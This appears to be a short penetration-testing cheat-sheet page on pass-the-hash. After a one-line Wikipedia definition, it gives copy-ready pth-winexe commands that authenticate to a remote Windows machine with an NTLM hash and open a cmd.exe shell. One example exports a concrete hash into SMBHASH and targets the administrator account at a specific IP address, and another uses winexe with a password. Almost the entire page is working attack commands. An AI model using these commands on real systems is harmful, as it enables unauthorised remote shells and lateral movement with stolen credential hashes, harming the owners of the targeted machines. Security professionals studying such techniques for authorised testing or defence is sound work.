Pass the Hash (PTH)
In cryptanalysis and computer security, pass the hash is a hacking technique that allows an attacker to authenticate to a remote server or service by using the underlying NTLM or LanMan hash of a user's password, instead of requiring the associated plaintext password as is normally the case.
-- Wikipedia

pth-winexe

Modified version of the passing-the-hash tool collection made to work straight out of the box
Launch cmd.exe using pth
1
pth-winexe -U <user>%<ntlm-pw-hash> //<ip> cmd
Copied!
or export hash?
1
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
2
pth-winexe -U administrator% //10.11.01.76 cmd
Copied!
or password (instead of hash)
1
winexe -U <machine/name> //<ip> cmd.exe
Copied!
-> Enter pw
Copy link
Edit on GitHub
Contents
pth-winexe